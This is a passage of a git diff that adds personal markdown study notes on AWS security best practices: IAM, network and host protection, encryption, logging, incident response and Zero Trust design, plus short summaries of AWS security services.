authentication (MFA) on root account + - Make minimal use of root account (or no use of root account at all if possible). + - Use IAM user instead to manage the account + - Do not use AWS root account to create API keys. + +2. defining roles and responsibilities of system users to control human access to the AWS Management Console and API + - Create individual IAM users + - Configure a strong password policy for the users + - Enable MFA for privileged users + - Segregate defined roles and responsibilities of system users by creating user groups. + - Use groups to assign permissions to IAM users + - Clearly define and grant only the minimum privileges to users, groups, and roles that are needed to accomplish business requirements. + - Use AWS defined policies to assign permissions whenever possible + - Define and enforce user life-cycle policies + - Use roles to delegate access to users, applications, or services that don’t normally have access to the AWS resources + - Use roles for applications that run on Amazon EC2 instances + - Use access levels (list, read, write and permissions management) to review IAM permissions + - Use policy conditions for extra security + - Regularly monitor user activity in the AWS account(s). + +1. protecting the access/use of user account credentials + - Rotate credentials regularly + - Remove/deactivate unnecessary credentials + - Protect EC2 key pairs. + - Password protect the .pem and .ppk file on user machines + - Delete keys on the instances when someone leaves the organization or no longer requires access + - Regularly run least privilege checks using IAM user Access Advisor and IAM user Last Used Access Keys + - Delegate access by using roles instead of by sharing credentials + - Use IAM roles for cross-account access and identity federation + - Use temporary security instead of long-term access keys. + +1. limiting automated access to AWS resources + - Use IAM roles for EC2 and an AWS SDK or CLI + - Store static credentials securely that are used for automated access + - Use instance profiles or Amazon STS for dynamic authentication + - For increased security, implement alternative authentication mechanisms (e.g. LDAP or Active Directory) + - Protect API access using Multi-factor authentication (MFA). + +2. protecting CloudTrail logs stored in S3 + - Limit access to users and roles on a “need-to-know” basis for data stored in S3 + - Use bucket access permissions and object access permissions for fine-grained control over S3 resources + - Use bucket policies to grant other AWS accounts or IAM + - For more details, refer to the following AWS resources: + +--- + +## 2. Infrastructure-level protection in AWS + + +Protecting any computing infrastructure requires a layered or defense-in-depth approach. +- The layers are typically divided into + - physical, + - network (perimeter and internal), + - system (or host), + - application, + - and data. +- In an Infrastructure as a Service (IaaS) environment, AWS is responsible for security ‘of’ the cloud including the physical perimeter, hardware, compute, storage and networking +- while customers are responsible for security ‘in’ the cloud, or on layers above the hypervisor. This includes the operating system, perimeter and internal network, application and data. + +Infrastructure protection requires defining: +- trust boundaries (e.g., network boundaries and packet filtering), +- system security configuration and maintenance (e.g., hardening and patching), +- operating system authentication and authorizations (e.g., users, keys, and access levels), +- and other appropriate policy enforcement points (e.g., web application firewalls and/or API gateways). + +The key AWS service that supports service-level protection is AWS Identity and Access Management (IAM) while Virtual Private Cloud (VPC) is the fundamental service that contributes to securing infrastructure hosted on AWS. +- VPC is the virtual equivalent of a traditional network operating in a data center, albeit with the scalability benefits of the AWS infrastructure. In addition, there are several other services or features provided by AWS that can be leveraged for infrastructure protection. + +The following list mainly focuses on network and host-level boundary protection + +### Best-practice checklist + +1. enforcing network and host-level boundary protection + - Establish appropriate network design for workload + - to ensure only desired network paths and routing are allowed + - For large-scale deployments, design network security in layers + - external, DMZ, and internal + - NACL rules is stateless firewall, ensure to define both outbound and inbound rules + - Create secure VPCs using network segmentation and security zoning + - Carefully plan routing and server placement in public and private subnets. + - Place instances (EC2 and RDS) within VPC subnets and restrict access using security groups and NACLs + - Use non-overlapping IP addresses with other VPCs or data centre in use + - Control network traffic by using + - security groups (stateful firewall, outside OS layer), + - NACLs (stateless firewall, at subnet level), + - bastion host, + - host based firewalls, etc. + - Use Virtual Gateway (VGW) where Amazon VPC-based resources require remote network connectivity + - Use IPSec or AWS Direct Connect + - for trusted connections to other sites + - Use VPC Flow Logs + - for information about the IP traffic going to and from network interfaces in the VPC + - Protect data in transit to ensure the confidentiality and integrity of data, as well as the identities of the communicating parties. + + +2. protecting against DDoS at network and application level + - Use firewalls including Security groups, network access control lists, and host based firewalls + - Use rate limiting to protect scarce resources from overconsumption + - Use Elastic Load Balancing and Auto Scaling + - to configure web servers to scale out when under attack (based on load) + - and shrink back when the attack stops + - Use AWS Shield + - a managed Distributed Denial of Service (DDoS) protection service, that safeguards web applications running on AWS + - Use Amazon CloudFront + - to absorb DoS/DDoS flooding attacks + - Use AWS WAF with AWS CloudFront + - help protect the web applications from common web exploits that could affect application availability, compromise security, or consume excessive resources + - Use Amazon CloudWatch + - to detect DDoS attacks against the application + - Use VPC Flow Logs + - to gain visibility into traffic targeting the application. + + +3. managing malware + - Give users the minimum privileges they need to carry out their tasks + - Patch external-facing and internal systems to the latest security level. + - Use a reputable and up-to-date antivirus and antispam solution on the system. + - Install host based IDS with file integrity checking and rootkit detection + - Use IDS/IPS systems + - for statistical/behavioural or signature-based algorithms to detect and contain network attacks and Trojans. + - Launch instances from trusted AMIs only + - Only install and run trusted software from a trusted software provider (note: MD5 or SHA-1 should not be trusted if software is downloaded from random source on the internet) + - Avoid SMTP open relay, which can be used to spread spam, and which might also represent a breach of the AWS Acceptable Use Policy. + + +4. identify vulnerability/misconfigurations in the os of EC2 + - Define approach for securing the system, consider the level of access needed and take a least-privilege approach + - Open only the ports needed for communication, harden OS and disable permissive configurations + - Remove or disable unnecessary user accounts. + - Remove or disable all unnecessary functionality. + - Change vendor-supplied defaults prior to deploying new applications. + - Automate deployments and remove operator access + - to reduce attack surface area using tools such as EC2 Systems Manager Run Command + - Ensure operating system and application configurations, such as firewall settings and anti-malware definitions, are correct and up-to-date; + - Use EC2 Systems Manager State Manager + - to define and maintain consistent operating system configurations + - Ensure an inventory of instances and installed software is maintained; + - Use EC2 Systems Manager Inventory + - to collect and query configuration about the instances and installed software + - Perform routine vulnerability assessments when updates or deployments are pushed; + - Use Amazon Inspector + - to identify vulnerabilities or deviations from best practices in the guest operating systems and applications + - Leverage automated patching tools such as EC2 Systems Manager Patch Manager to help you deploy operating system and software patches automatically across large groups of instances + - Use AWS CloudTrail, AWS Config, and AWS Config Rules + - as they provide audit and change tracking features for auditing AWS resource changes. + - Use template definition and management tools, including AWS CloudFormation + - to create standard, preconfigured environments. + + +5. protect the integrity of the os of EC2 instances + - Use file integrity controls for Amazon EC2 instances + - Use host-based intrusion detection controls for Amazon EC2 instances + - Use a custom Amazon Machine Image (AMI) or configuration management tools (such as Puppet or Chef) that provide secure settings by default. + +6. ensure security of containers on AWS + - Run containers on top of virtual machines + - Run small images, remove unnecessary binaries + - Use many small instances to reduce attack surface + - Segregate containers based on criteria such as role or customer and risk + - Set containers to run as non-root user + - Set filesystems to be read-only + - Limit container networking; + - Use AWS ECS + - to manage containers and define communication between containers + - Leverage Linux kernel security features using tools like SELinux, Seccomp, AppArmor + - Perform vulnerability scans of container images + - Allow only approved images during build + - Use tools such as Docker Bench to automate security checks + - Avoid embedding secrets into images or environment variables, Use S3-based secrets storage instead. + +7. ensuring only trusted Amazon Machine Images (AMIs) are launched + - Treat shared AMIs as any foreign code that you might consider deploying in the own data centre and perform the appropriate due diligence + - Look for description of shared AMI, and the AMI ID, in the Amazon EC2 forum + - Check aliased owner in the account field to find public AMIs from Amazon. + +8. creating secure custom (private or public) AMIs + - Disable root API access keys and secret key + - Configure Public Key authentication for remote login + - Restrict access to instances from limited IP ranges using Security Groups + - Use bastion hosts + - to enforce control and visibility + - Protect the .pem file on user machines + - Delete keys from the authorized_keys file on the instances when someone leaves the organization or no longer requires access + - Rotate credentials (DB, Access Keys) + - Regularly run least privilege checks using IAM user Access Advisor and IAM user Last Used Access Keys + - Ensure that software installed does not use default internal accounts and passwords. + - Change vendor-supplied defaults before creating new AMIs + - Disable services and protocols that authenticate users in clear text over the network, or otherwise insecurely. + - Disable non-essential network services on startup. + - Only administrative services (SSH/RDP) and the services required for essential applications should be started. + - Ensure all software is up to date with relevant security patches + - For in instantiated AMIs, update security controls by running custom bootstrapping Bash or Microsoft Windows PowerShell scripts; or use bootstrapping applications such as Puppet, Chef, Capistrano, Cloud-Init and Cfn-Init + - Follow a formalised patch management procedure for AMIs + - Ensure that the published AMI does not violate the Amazon Web Services Acceptable Use Policy. Examples of violations include open SMTP relays or proxy servers. + - Security at the infrastructure level, or any level for that matter, certainly requires more than just a checklist. For a comprehensive insight into infrastructure security within AWS, we suggest reading the following AWS whitepapers – AWS Security Pillar and AWS Security Best Practises. + + +--- + + +## 3. Data protection in AWS + + +The checklist mainly focuses on protection of data (at rest and in transit), protection of encryption keys, removal of sensitive data from AMIs, and, understanding access data requests in AWS. + +### Best-practice checklist +1. protecting data at rest + - Define polices for data classification, access control, retention and deletion + - Tag information assets stored in AWS based on adopted classification scheme + - Determine where the data will be located by selecting a suitable AWS region + - Use geo restriction (or geoblocking), + - to prevent users in specific geographic locations from accessing content that you are distributing through a CloudFront web distribution + - Control the format, structure and security of the data by masking, making it anonymised or encrypted in accordance with the classification + - Encrypt data at rest using server-side or client-side encryption + - Manage other access controls, such as identity, access management, permissions and security credentials + - Restrict access to data using IAM policies, resource policies and capability policies + + +2. protecting data at rest on Amazon S3 + - Use bucket-level or object-level permissions alongside IAM policies + - Don’t create any publicly accessible S3 buckets + - Instead, create pre-signed URLs to grant time-limited permission to download the objects + - encrypt + - Protect sensitive data by encrypting data at rest in S3. + - Amazon S3 supports server-side encryption and client-side encryption of user data, + - using which you create and manage the own encryption keys + - Encrypt inbound and outbound S3 data traffic + - data replication and versioning instead of automatic backups. + - Implement S3 Versioning and S3 Lifecycle Policies + - Automate the lifecycle of the S3 objects with rule-based actions + - Enable MFA Delete on S3 bucket + - enable logging + - Be familiar with the durability and availability options for different S3 storage types – S3, S3-IA and S3-RR. + + +3. protecting data at rest on Amazon EBS + - only use encrypted EBS volume + - encrypt data, snapshots, and disk I/O using the customary AWS-256 algorithm + - active VPC Flow log + - AWS creates two copies of the EBS volume for redundancy. + - However, since both copies are in the same Availability Zone, replicate data at the application level, and/or create backups using EBS snapshots + - On Windows Server 2008 and later: + - use BitLocker encryption + - to protect sensitive data stored on system or data partitions (this needs to be configured with a password as Amazon EC2 does not support Trusted Platform Module (TPM) to store keys) + - On Windows Server + - implement Encrypted File System (EFS) + - to further protect sensitive data stored on system or data partitions + - On Linux instances running kernel versions 2.6 and later + - use dmcrypt and Linux Unified Key Setup (LUKS) + - for key management + + +4. protecting data at rest on Amazon RDS + - (Note: Amazon RDS leverages the same secure infrastructure as Amazon EC2. You can use the Amazon RDS service without additional protection, but it is suggested to encrypt data at application layer) + - Use built-in encryption function that encrypts all sensitive database fields, using an application key, before storing them in the database + - Use platform level encryption + - Use MySQL cryptographic functions – encryption, hashing, and compression + - Use Microsoft Transact-SQL cryptographic functions – encryption, signing, and hashing + - Use Oracle Transparent Data Encryption on Amazon RDS for Oracle Enterprise Edition under the Bring Your Own License (BYOL) model + + +5. protecting data at rest on Amazon Glacier + - Data stored on Amazon Glacier is protected using server-side encryption. + - AWS generates separate unique encryption keys for each Amazon Glacier archive, and encrypts it using AES-256 + - Encrypt data prior to uploading it to Amazon Glacier for added protection + +6. protecting data at rest on Amazon DynamoDB + - DynamoDB is a shared service from AWS and can be used without added protection + - implement a data encryption layer over the standard DynamoDB service + - Use raw binary fields or Base64-encoded string fields, when storing encrypted fields in DynamoDB + +7. protecting data at rest on Amazon EMR + - Store data permanently on Amazon S3 only, and do not copy to HDFS at all. Apply server-side or client-side encryption to data in Amazon S3 + - Protect the integrity of individual fields or entire file (for example, by using HMAC-SHA1) at the application level while you store data in Amazon S3 or DynamoDB + - Or, employ a combination of Amazon S3 server-side encryption and client-side encryption, as well as application-level encryption + +8. protecting data in transit + - Encrypt data in transit + - using IPSec ESP and/or SSL/TLS + - Encrypt all non-console administrative access using strong cryptographic mechanisms using SSH, user and site-to-site IPSec VPNs, or SSL/TLS to further secure remote system management + - Authenticate data integrity + - using IPSec ESP/AH, and/or SSL/TLS + - Authenticate remote end + - using IPSec with IKE with pre-shared keys or X.509 certificates + - using SSL/TLS with server certificate authentication based on the server common name(CN), or Alternative Name (AN/SAN) + - Offload HTTPS processing on Elastic Load Balancing to minimise impact on web servers + - Protect the backend connection to instances using an application protocol such as HTTPS + - On Windows servers use X.509 certificates for authentication + - On Linux servers, use SSH version 2 and use non-privileged user accounts for authentication + - Use HTTP over SSL/TLS (HTTPS) for connecting to RDS, DynamoDB over the internet + - Use SSH for access to Amazon EMR master node + - Use SSH for clients or applications to access Amazon EMR clusters across the internet using scripts + - Use SSL/TLS for Thrift, REST, or Avro + +9. managing and protecting encryption keys + - Define key rotation policy + - Do not hard code keys in scripts and applications + - Securely manage keys + - at server side (SSE-S3, SSE-KMS) or at client side (SSE-C) + - Use tamper-proof storage + - such as Hardware Security Modules (AWS CloudHSM) + - Use a key management solution + - from the AWS Marketplace or from an APN Partner. (e.g., SafeNet, TrendMicro, etc.) + +10. ensuring custom Amazon Machine Images (AMIs) are secure and free of sensitive data before publishing for internal (private) or external (public) use + - Securely delete all sensitive data including AWS credentials, third-party credentials and certificates or keys from disk and configuration files + - Delete log files containing sensitive information + - Delete all shell history on Linux + +11. understand who has the right to access the data stored in AWS + - Understand the applicable laws to the business and operations + - consider whether laws in other jurisdictions may apply + - Understand that relevant government bodies may have rights to issue requests for content, each relevant law will contain criteria that must be satisfied for the relevant law enforcement body to make a valid request. + - Understand that AWS notifies customers where practicable before disclosing their data so they can seek protection from disclosure, unless AWS is legally prohibited from doing so or there is clear indication of illegal conduct regarding the use of AWS services. For additional information, visit Amazon Information Requests Portal. + + + +--- + +## 4. Detective controls in AWS Cloud +AWS detective controls include +- processing of logs and monitoring of events +- that allow for auditing, automated analysis, and alarming. + +These controls can be implemented using +- AWS CloudTrail logs to record AWS API calls, Service-specific logs (for Amazon S3, Amazon CloudFront, CloudWatch logs, VPC flow logs, ELB logs, etc) +- and AWS Config to maintain a detailed inventory of AWS resources and configuration. +- Amazon CloudWatch is a monitoring service for AWS resources and can be used to trigger CloudWatch events to automate security responses. +- Another useful tool is Amazon GuardDuty which is a managed threat detection service in AWS and continuously monitors for malicious or unauthorized. + + +### best practice checklist + +1. using Trusted Advisor + - to check for security compliance. + +2. capturing and storing logs + - Activate AWS Cloud Trail. + - Collect logs from various locations/services including + - AWS APIs and user-related logs (e.g. AWS CloudTrail), + - AWS service-specific logs (e.g. Amazon S3, Amazon CloudFront, CloudWatch logs, VPC flow logs, ELB logs, etc.) + - operating system-generated logs, + - IDS/IPS logs + - and third-party application-specific logs + - Use services and features such as AWS CloudFormation, AWS OpsWorks, or Amazon Elastic Compute Cloud (EC2) user data, to ensure that instances have agents installed for log collection + - Move logs periodically from the source either directly into a log processing system (e.g., CloudWatch Logs) or stored in an Amazon S3 bucket for later processing based on business needs + +3. analyzing logs + - Parse and analyse security data using solutions + - such as AWS Config, AWS CloudWatch, Amazon EMR, Amazon Elasticsearch Service, etc. + - Perform analysis and visualization with Kibana. + +4. retaining logs + - Store data centrally using Amazon S3, and, for long-term archiving if required, using Amazon Glacier + - Define data-retention lifecycle for logs. + - By default, CloudWatch logs are kept indefinitely and never expire. + - You can adjust the retention policy for each log group, keeping the indefinite retention, or choosing a retention period between 10 years and one day + - Manage log retention automatically using AWS Lambda. + +5. receiving notification and alerts + - Use Amazon CloudWatch Events for routing events of interest and information reflecting potentially unwanted changes into a proper workflow + - Use Amazon GuardDuty to continuously monitor for malicious or unauthorized behavior + - Send events to targets like an AWS Lambda function, Amazon SNS, or other targets for alerts and notifications + +6. monitoring billing in the AWS account + - Use detailed billing to monitor the monthly usage regularly + - Use consolidated billing for multiple accounts + + +--- + +## 5. Incident Response in AWS + +NIST defines a security incident as “an occurrence that actually or potentially jeopardises the confidentiality, integrity, or availability of an information system or the information the system processes, stores, or transmits or that constitutes a violation or imminent threat of violation of security policies, security procedures, or acceptable use policies”. + +The figure below outlines the typical phases of an incident response lifecycle. + +![Screen Shot 2020-12-15 at 2.45.07 PM](https://i.imgur.com/NgsIePn.png) + + +there are several tools in the AWS cloud environment to help the incident response process, +- such as AWS CloudTrail, Amazon CloudWatch, AWS Config, AWS CloudFormation, AWS Step Functions, etc. +- These tools enable you to track, monitor, analyse, and audit events. + +- Audit logs are treasure troves and are indispensable during investigations. + - AWS provides detailed audit logs that record important events such as file access and modification. +- Events can be automatically processed and trigger tools that automate responses through the use of AWS APIs. +- You can pre-provision tooling and a “clean room” which allows you to carry out forensics in a safe, isolated environment. + + +### Best-practice checklist + +1. ensure an appropriate incident response strategy in place + - Make sure the security team has the right tools pre-deployed into AWS so that the incident can be responded to in a timely manner. + - Pre-provision a ‘clean room’ for automated incident handling. + - Have a list of relevant contacts that may need to be notified. + - Decide on the medium of communication. If the compromised account contains personal data, you may be required to contact the Data Protection Commission (DPC) within 72 hours to comply with GDPR. + - Conduct incident response simulations regularly in the non-production and the production environments as well. Incorporate lessons learned into the architecture and operations. + +2. AWS tools for prepare in advance for incident handling + - Tags in AWS allow you to proactively label resources with a data classification or a criticality attribute so you can quickly estimate the impact when the incident occurs. + - AWS Organisations + - allows you to create separate accounts along business lines or mission areas which also limits the “blast radius” should a breach occur; + - for governance, you can apply policies to each of those sub accounts from the AWS master account. + - IAM + - grants appropriate authorisation to incident response teams in advance. + - Security Groups + - enables isolation of Amazon EC2 instances. + - AWS Cloud Formation + - automates the creation of trusted environments for conducting deeper investigations. + - AWS CloudTrail + - provides a history of AWS API calls that can assist in response and trigger automated detection and response systems. + - VPC Flow Logs + - enables you to capture information about the IP traffic going to and from network interfaces in the VPC. + - AWS Key Management Service (KMS) + - encrypts sensitive data at rest including logs aggregated and stored centrally. + - Amazon GuardDuty + - is a managed threat detection service that continuously monitors for malicious or unauthorised behaviour. + - Amazon CloudWatch Events + - triggers different automated actions from changes in AWS resources including CloudTrail. + - Amazon S3 + - stores snapshots and related incident artefacts. + - AWS Step Functions + - coordinates a sequence of steps to automate an incident response process. + - APIs automate many of the routine tasks that need to be performed during incident handling. + +3. respond to AWS abuse warnings + - Set up a dedicated security communication email address. + - Do not ignore abuse warnings. Take action to stop the malicious activities, and prevent future re-occurrence. + - Open a case number with AWS Support for cross-validation. + +4. isolate and restrict user access to a compromised Amazon EC2 instance + - containing the instance manually, + - use IAM to restrict access permissions to compromised Amazon EC2 instance. + - Isolate the instance using restrictive ingress and egress security group rules or remove it from a load balancer. + - Tag the instance as appropriate to indicate isolation. + - Create snapshots of EBS volumes. + - Notify relevant contacts. + - Use CloudFormation + - to quickly create a new, trusted environment in which to conduct deeper investigation. + - automate the above steps using Lambda, Step Functions, CloudFormation and SNS Topic to prepare an EC2 auto clean room for containing the instance. + - You could also use aws-security-automation code on GitHub, which is a collection of scripts and resources for DevSecOps, Security Automation and Automated Incident Response Remediation. + +5. ensure sensitive information is wiped post investigation + - Secure wipe-files and delete any KMS data keys, if used. + + +--- + +# security +## Zero Trust + + +Traditional network security relies on a **secure perimeter** +- everything within the perimeter is trusted and anything outside the perimeter is not. + + +Zero Trust +- a model where application components or microservices are considered discrete from each other and no component or microservice trusts any other. +- This manifests as a security posture designed to consider input from any source as potentially malicious. +- It starts with not trusting the underlying internal network fabric, and extending to things such as input and output validation at every microservice. Additional efforts can include designing a defense-in-depth approach to protect against individual components, microservices, or identities compromise. +- A Zero Trust network evaluates all actions and resources in real time to reduce the risk of unintended access to business data and sensitive resources. + + +Zero Trust building a network boundary between each microservice in the architecture. +- strengthening the component perimeters; rethink threat sources and investment to protect against them. + +#### Designing on AWS using Zero Trust principles + +In threat modeling, users attempt to determine all of the potential attack possibilities to define risk and identify mitigations. + +One threat model that can be used for illustrative purposes, [STRIDE](https://en.wikipedia.org/wiki/STRIDE_(security)) , identifies threats in these categories: + +* **Spoofing** of user identity +* **Tampering** with data +* **Repudiation** the source +* **Information** disclosure +* **Denial** of service +* **Elevation** of privilege + +### AWS best practice architectures + +AWS offers foundational tools for designing Well-Architected applications on AWS. +- The AWS Well-Architected Framework includes strategies to help you compare the workload against AWS best practices, and obtain guidance to produce stable and efficient systems. +- The Well-Architected Framework contains five distinct pillars, including one for [security](https://d1.awsstatic.com/whitepapers/architecture/AWS-Security-Pillar.pdf) . + + + + +well architected example + +- a [web application](https://d0.awsstatic.com/whitepapers/aws-web-hosting-best-practices.pdf) +- The architecture represented is a well architected and secure design for the web application. + +[![Figure 1. An example of a web hosting architecture on AWS ](https://d2908q01vomqb2.cloudfront.net/9e6a55b6b4563e652a23be9d623ca5055c356940/2020/01/20/Zero-Trust-Figure-1.png)](https://d2908q01vomqb2.cloudfront.net/9e6a55b6b4563e652a23be9d623ca5055c356940/2020/01/20/Zero-Trust-Figure-1.png) + +The system is protected against common attack vectors leveraging the following services: +1. **Load balancing with [Elastic Load Balancing (ELB)](https://aws.amazon.com/elasticloadbalancing/) / [Application Load Balancer (ALB)](https://aws.amazon.com/blogs/aws/new-aws-application-load-balancer/)** + 1. spread loads across multiple AZs and EC2 Auto Scaling groups for **redundancy** and **decoupling** of services. + +2. [**Virtual firewalls using AWS security groups**](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html) + 1. moves security to the instance to provide a stateful, host-level firewall for both web and application servers. + +3. **Domain Name System (DNS) services with [Amazon Route 53](https://aws.amazon.com/route53/)** + 1. provides DNS services to simplify domain management. + +4. **Edge caching with [Amazon CloudFront](https://aws.amazon.com/cloudfront/)** + 1. decreases the latency to customers. + +5. **Edge security for [Amazon CloudFront](https://aws.amazon.com/cloudfront/) with [AWS Web Application Firewall (AWS WAF)](https://aws.amazon.com/waf/)** + 1. filters malicious traffic, including XSS and SQL injection via customer-defined rules. + +6. **DDoS attack protection with [AWS Shield](https://aws.amazon.com/shield/)** + 1. safeguards the infrastructure against the most common network and transport layer DDoS attacks automatically. + +### Apply Zero Trust + +Let’s reevaluate the architecture, but protect each component as a microservice instead of as part of a larger trusted system. + +In a Zero Trust model: + +- protect against tampering and information disclosure by a SQL Injection attack using the AWS WAF service. + - By design, customers using the website will come through Amazon CloudFront to access both static and dynamic content. While it makes sense to apply the AWS WAF rules to the CloudFront distribution, ELB/ALB will use a public IP address that could be discoverable by someone else. + - One mitigation would be to apply the same WAF rules directly against the load balancer. + +- protection between the web server and app server tiers? + - Those are traditionally considered “internal” components and data flowing between them is not subject to the same scrutiny. + - However, the Zero Trust model requires all components and communications be considered untrusted. + - AWS WAF might not be the right solution depending on the communication methods, but another layer of filtering – either host-based or network-based – would be implemented to do input validation before the input is ingested by the app tier. + - Additionally, authentication and authorization of commands between these two tiers would be continuous similar to how AWS uses the [AWS Signature Version 4](https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html) for API signing. + + +- AWS WAF rules and local input validation are effective at protecting against some attacks + + +- but what about DDoS? + - AWS Shield protects against the most common volumetric and state exhaustion attacks, but you should evaluate potential threats coming from other elements of the system. + - The best practice architecture does not address the potential of a web server instance flooding the application server with valid but meaningless work, or addresses an inadvertent misconfigured security group. + + * Implement additional metrics and monitoring so a consistent amount of traffic flows from each instance. + + * Implement [Amazon CloudWatch Anomaly Detection](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Anomaly_Detection.html) to use machine learning (ML) algorithms to analyze specific metrics such as Amazon EC2 instances generating unusually large amounts of network traffic. + + * Use the [alarm to notify](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Create_Anomaly_Detection_Alarm.html) an Amazon SNS topic, which will then trigger a custom Lambda function that removes the offending Amazon EC2 instance for the auto-scaling group, stops it, and isolates it for further analysis. + +[![Figure 2. An example of a Zero Trust web hosting architecture on AWS](https://d2908q01vomqb2.cloudfront.net/9e6a55b6b4563e652a23be9d623ca5055c356940/2020/01/20/ZeroTrustDiagram-2.png)](https://d2908q01vomqb2.cloudfront.net/9e6a55b6b4563e652a23be9d623ca5055c356940/2020/01/20/ZeroTrustDiagram-2.png) + +_Figure 2. An example of a Zero Trust web hosting architecture on AWS_ + +example + +- a web tier + - creates backups, use an AWS KMS key that only that instance role has `KMS:Encrypt` permissions on. + - Since the web tier shouldn’t need to decrypt its own backups, deny or omit KMS:Decrypt to that role. + - Since that instance role is the only entity with the ability to use the KMS key to encrypt data, and coupled with CloudTrail logs for auditing, you can validate that backups were written by those instances and have not been tampered with. + - If those instances are accessed by an unauthorized user, they cannot read from past backups. + +- You could also + - add [user authentication between tiers on the Application Load Balancer](https://aws.amazon.com/blogs/aws/built-in-authentication-in-alb/) + - or use [API Gateway between the App Tier and the databases](https://aws.amazon.com/blogs/database/query-the-aws-database-from-the-serverless-application/) to execute validation of queries. + + +. diff --git a/_posts/01Cloud/01AWS/Security/SecurityTools.md b/_posts/01Cloud/01AWS/Security/SecurityTools.md new file mode 100644 index 00000000000..dc2ed9db7e1 --- /dev/null +++ b/_posts/01Cloud/01AWS/Security/SecurityTools.md @@ -0,0 +1,188 @@ + + +- [AWS - Security](#aws---security) + - [audit](#audit) + + + +--- + + +# AWS - Security + +click for detailed note + + +[AWS Organizations]() +- restrict what services and actions are allowed in accounts. +- consolidate multiple AWS accounts into an organization to create and centrally manage. +- Each paying account is an independent entity and is not able to access resources of other accounts in the Organization. +- The billing is performed centrally on the root account in the AWS Organization. + + + +[AWS Systems Manager]() +- gives visibility and control of the infrastructure on AWS +- provides a unified user interface, view operational data from multiple AWS services +- to automate operational tasks across your AWS resources + + + +[AWS Secrets Manager ]() +- protects the secrets you use for access to applications, services and IT resources. +- easily rotate, manage, and retrieve database credentials, API keys, and other secrets throughout their lifecycle. + + +[TAM: Technical account manager: ]() +- Only for the enterprise support plan +- A dedicated voice in AWS to serve as your advocate. +- Proactive guidance and insight into ways to optimize AWS through business and performance reviews + - Orchestration and access to the full breadth and depth of technical expertise across the full range of AWS. + - And access to resources and best practice recommendations + + +[Infrastructure Event Management]() +- A common understanding of event objectives and use cases through pre-event planning and preparation. +- Resource recommendations and deployment guidance based on anticipated capacity needs. +- Dedicated attention of your AWS Support team during your event. +- And the ability to immediately scale down resources to normal operating levels post-event + + +[Service Health Dashboard]() +- general status of AWS services,   +- shows the current status of services across regions. +- but not provide proactive notifications of scheduled activities or guidance of any kind. + + +[AWS Personal Health Dashboard ]() +- provides alerts and remediation guidance when AWS is experiencing events that may impact you. +- personalized view into the performance and availability of the AWS services underlying your AWS resources. + - displays relevant and timely information to help manage events in progress + - provides proactive notifications to help plan for scheduled activities + - forward-looking notifications. + - can set alerts across multiple channels, including email and mobile notifications. + - alerts are triggered by changes in the health of AWS resources, + - giving you event visibility, and guidance to help quickly diagnose and resolve issues. +- Having an AWS account grants you access to the Personal Health Dashboard to receive alerts and remediation guidance regarding events affecting the services underlying your resources. +- Business or Enterprise support plan, also get AWS Health API for integrating health data and notifications with your existing in-house and third-party IT management tools. + + + +[AWS Security Hub]() +- consolidates view of your security and compliance status in the cloud. +- Unified security and compliance center + + + +[AWS support concierge 门房:]() +- A primary contact to help manage AWS resources. +- account assistance +- Only for the enterprise support plan +- non-tech billing and account level inquiries + - Personalized handling of billing inquiries, tax questions, service limits, and bulk reserve instance purchases. + - answering billing and account questions + - direct access to an agent to help optimize costs to identify underused resources + + + + +[Guard Duty]() +- a threat detection service +- Designed to actively protect the environment from threats. +- monitors environment, and identify malicious/unauthorized activity in AWS account and workloads + - such as unusual API calls or potentially unauthorized deployments that indicate a possible account compromise. + - detects potentially compromised instances or reconnaissance by attackers. + - continuously monitor and protect AWS accounts and workloads + - can identify malicious or unauthorized activities in AWS accounts +- Use threat intelligence feeds to detect threats to the environment. + + +[AWS Config]() +- fully-managed service +- a service assess, +- enables and simplify: + +- security analysis + - continuously monitors and records AWS resource configurationsd + - discover existing and deleted AWS resources + - dive into configuration details of a resource at any point in time. + +- change management + - audit, evaluate, and monitor changes and Aconfigurations of AWS resources. + - track resource inventory and changes. + - review changes in configurations and relationships between AWS resources + - dive into detailed resource configuration histories, + - provides an AWS resource inventory, configuration history, and configuration change notifications to enable security and regulatory compliance + - allows to automate the evaluation of recorded configurations against desired configurations. + +- compliance auditing + - determine your overall compliance against rules/configurations specified in your internal guidelines. +- and operational troubleshooting + + +## audit + +[CloudTrail]() got all the log, auditing +- simplifies security analysis, resource change tracking, and troubleshooting. +- enables governance, compliance, operational auditing, and risk auditing of AWS account. + - enabled automatically when create AWS account + - delivers log files within 15min of account activity. + - enable CloudTrail for all regions in your environment + - can create a trail applies to one Region or to all Regions + - By default, the trail applies to all AWS Regions. + - provides a complete audit trail of all AWS services within an account + - CloudTrail can deliver all log files from all regions to one S3 bucket. + - By default, CloudTrail event log files are encrypted using S3 server-side encryption +- continuously monitor, tracks user activity and API usage for all regions in AWS + - provides event history of your AWS account activity + - including actions taken OR API calls made via: + - AWS Management Console. + - AWS SDKs. + - Command line tools. + - Higher-level AWS services (such as CloudFormation). + + +[CloudWatch Logs]() collect log, create alarm, does not debug or log errors +- monitor, collect, store, and access logs from resources, applications, and services in near real-time + - Basic monitoring collects metrics every 5min + - detailed monitoring collects metrics every 1min +- collect and track metrics, collect and monitor log files, and set alarms. + - Compute (EC2 insatnces, autoscaling groups, elastic load balancers, route53 health checks) + - CPU, Disk, Network utilization, and others. + - aggregate 聚集 logs from your EC2 instance. + - centrally upload logs from all the servers. + - Content Delivery (EBS Volumes, Storage Gateways, CloudFront) + - Storage, CloudTrail, Lambda functions, and Amazon SQS queues + - allow real-time monitoring as well as adjustable retention. +- providing a unified view of AWS resources, applications and services that run on AWS, and on-premises servers. +- actionable insights to monitor applications, respond to system-wide performance changes, and optimize resource utilization to get a view of your overall operational health. + + + +[AWS Trusted Advisor]() what should use +- optimize performance and security +- real-time guidance to provision 提供 resources guid following AWS best practices and staying within limits. +- auto service, during implement ells right and problems. +- provides valuable guidance for architecting your AWS environment and workloads, but doesn't include AWS service health information. +- offers recommendations for cost optimization, performance, security, fault tolerance and service limits +- Offers a Service Limits check (in the Performance category) + - the check displays your usage and limits for some aspects of some services. + - Business and enterprise can use all checks. + + + + + + + + + + +. diff --git "a/_posts/01Cloud/01AWS/Security/detection\345\267\262\345\217\221\347\224\237/2020-07-18-AWS-CloudTrail.md" 